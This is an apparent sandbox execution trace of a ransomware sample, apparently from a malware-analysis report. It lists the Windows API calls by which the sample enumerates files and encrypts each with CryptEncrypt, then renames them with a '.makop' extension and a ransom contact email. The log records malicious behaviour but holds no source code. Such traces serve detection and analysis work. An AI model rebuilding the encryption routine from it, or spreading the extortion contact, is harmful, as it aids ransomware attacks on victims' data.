lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0084.650] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0084.650] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0084.650] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0084.650] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0084.651] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned 55 [0084.651] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*") returned 59 [0084.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0084.651] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.651] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0084.651] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033") returned 60 [0084.651] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*") returned 64 [0084.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0084.666] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.666] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0084.666] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0084.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0084.666] GetProcessHeap () returned 0x48a0000 [0084.666] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0084.667] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0084.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0084.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0084.667] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.667] GetProcessHeap () returned 0x48a0000 [0084.667] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0084.667] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0084.668] CryptDestroyKey (hKey=0x48c7168) returned 1 [0084.668] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0084.671] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0084.672] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0084.672] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0084.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0084.672] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0084.672] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0084.672] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.672] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfa60, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xfa60, lpOverlapped=0x0) returned 1 [0084.675] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xfa60, dwBufLen=0xfa60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xfa60) returned 1 [0084.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.676] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfa60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xfa60, lpOverlapped=0x0) returned 1 [0084.677] CryptDestroyKey (hKey=0x48c7168) returned 1 [0084.677] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.677] SetEndOfFile (hFile=0x114) returned 1 [0084.684] GetProcessHeap () returned 0x48a0000 [0084.684] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0084.684] GetProcessHeap () returned 0x48a0000 [0084.684] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0084.684] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0084.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0084.685] CloseHandle (hObject=0x114) returned 1 [0084.685] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0084.685] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0084.685] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0084.686] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0084.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0084.721] GetProcessHeap () returned 0x48a0000 [0084.722] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0084.722] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0084.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0084.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0084.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.769] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.769] GetProcessHeap () returned 0x48a0000 [0084.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0084.769] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0084.769] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0084.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0084.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0084.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0084.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0084.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0084.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.771] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9fd, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9fd, lpOverlapped=0x0) returned 1 [0084.771] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00, dwBufLen=0xa00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00) returned 1 [0084.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa00, lpOverlapped=0x0) returned 1 [0084.771] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.771] SetEndOfFile (hFile=0xf0) returned 1 [0084.779] GetProcessHeap () returned 0x48a0000 [0084.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0084.779] GetProcessHeap () returned 0x48a0000 [0084.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0084.779] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0084.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0084.780] CloseHandle (hObject=0xf0) returned 1 [0084.780] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0084.780] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0084.781] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0084.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0084.831] GetProcessHeap () returned 0x48a0000 [0084.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0084.831] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0084.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0084.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0084.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.835] GetProcessHeap () returned 0x48a0000 [0084.835] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0084.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6577a90*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6577a90*=0x50) returned 1 [0084.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6577aa8*=0x50, lpOverlapped=0x0) returned 1 [0084.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0084.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0084.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0084.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0084.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0084.837] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.837] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.837] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x236, lpOverlapped=0x0) returned 1 [0084.837] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x240, dwBufLen=0x240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x240) returned 1 [0084.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x240, lpOverlapped=0x0) returned 1 [0084.838] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.838] SetEndOfFile (hFile=0xf0) returned 1 [0084.844] GetProcessHeap () returned 0x48a0000 [0084.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0084.844] GetProcessHeap () returned 0x48a0000 [0084.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0084.844] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0084.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Common 